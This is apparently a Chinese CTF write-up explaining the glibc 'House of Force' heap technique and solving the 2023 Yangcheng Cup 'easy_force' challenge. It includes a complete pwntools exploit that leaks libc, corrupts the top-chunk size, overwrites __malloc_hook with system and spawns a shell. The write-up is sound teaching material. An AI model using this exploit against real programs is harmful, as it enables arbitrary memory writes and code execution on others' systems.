House of force
条件:
- 能够以溢出等方式控制到 top chunk 的 size 域
- 能够自由地控制堆分配尺寸的大小
原理:
利用malloc函数对top chunk的利用,使得堆块指向我们期望的地址,再次申请堆块就可以实现任意地址写。
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| victim = av->top; size = chunksize(victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{ remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
|
利用:
只要满足把top chunk的size改成一个很大的值,就可以通过这个检测。
一般把top chunk size的值改为-1 size是unsigned int类型就会变成0xffffffffffffffff 从而绕过检测。
1 2 3 4 5 6 7 8 9
| int main() { long *ptr,*ptr2; ptr=malloc(0x10); ptr=(long *)(((long)ptr)+24); *ptr=-1; malloc(offset); malloc(0x10); }
|
这里的offset就是想控制top chunk移动后的位置。
1 2 3 4 5 6
| offset = target - 0x10 -=top malloc(offset) malloc(0x10)
|
这里offset也可以是负数 (控制topchunk向低地址偏移)
由于我们的top chunk size是-1 所以可以绕过检测。
new top chunk的size我们不需要关系 重要的是new top chunk的地址 ,也就是:
remainder = chunk_at_offset(victim, nb):
这里我们的nb是一个负数 虽然转化成unsigned int类型会变成一个很大的正数 但是计算的时候会经过处理变成正常的加减法 就把他当成正常负数看就好。
例题:2023 羊城杯决赛easy_force
main:

add:

保护:

这里只给了4次add函数的机会 , 其他的函数都无用。
思路:
通过house of force 把 malloc_hook 改成 system(\bin\sh)。
解题:
首先通过mmap泄露libc基地址:
在处理大 chunk 时的行为:
glibc 的 malloc 对于大于 mmap_threshold 的申请,不使用 heap,而是直接调用 mmap() 向内核申请一块内存。
默认情况下,这个阈值在 128 KB 左右(也可能是更大)
(比如:malloc(0x20000) ➜ 会使用 mmap)
mmap 分配的大 chunk 地址规律:
使用mmap()分配的内存块,一般在 libc 映射地址之下;
在默认的内存布局中,mmap() 返回的地址和 libc.so 的加载基址存在一个固定偏移;
申请一个超大 chunk(触发 mmap)
打印这个 chunk 的地址
减去偏移,得到 libc base
这个偏移值是固定的(取决于特定 libc 版本的布局),你只要知道 libc 版本,就可以知道偏移量。
1 2 3 4 5
| add(3, 0x888888, 'aaa')
io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address))
|

修改topchunk size:
1 2 3 4 5
| add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top))
|

计算偏移移动top chunk到新位置:
1 2 3 4 5 6 7 8 9
| offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset)) // 0x20的偏移通过调试获得
add(1,offset,'xxxx') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr))
|


这里可以看到new top 被移动到了malloc_hook - 0x10的位置。
这样我们就可以进行任意地址写 覆写malloc_hook的地址了
写入system:
1 2 3 4 5
| add(2,0x10,p64(system)) io.recvuntil("on ") addr1=int(io.recv(14),16) log.success("addr1 :"+hex(addr1))
|
这里可以看到new topchunk 切割了一块0x20大小的堆块给返回给用户
我们从这里写入了system的地址

后面再次利用malloc函数就可以实现打通。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * io= process('./pwn') elf=ELF('./pwn')
libc = elf.libc def add(index,size,content): io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(index)) io.sendlineafter("how much space do u want?\n", str(size)) io.sendlineafter("now what to write?\n",content)
add(3, 0x888888, 'aaa')
io.recvuntil("on ") libcc = int(io.recv(14),16) libc.address= libcc +0x888ff0 log.success("libc :" + hex(libcc)) log.success("libc.address :"+hex(libc.address)) gdb.attach(io) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top))
malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset))
add(1,offset,'xxxx') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr))
add(2,0x10,p64(system)) io.recvuntil("on ") addr1=int(io.recv(14),16) log.success("addr1 :"+hex(addr1))
io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(4)) io.sendlineafter("how much space do u want?\n", str(top))
io.interactive()
|
总结:
house of force 的关键在于可以修改topchunk的size部分 以及 计算好到target目标地址的偏移量。
参考:https://tamoly.github.io/2025/07/13/NSSCTF-PWN%E9%A2%98%E8%A7%A3/%E7%BE%8A%E5%9F%8E%E6%9D%AF%202023%20%E5%86%B3%E8%B5%9B%20easy_force(House%20of%20Force%E5%92%8Csystem('bin%20sh'))/index.html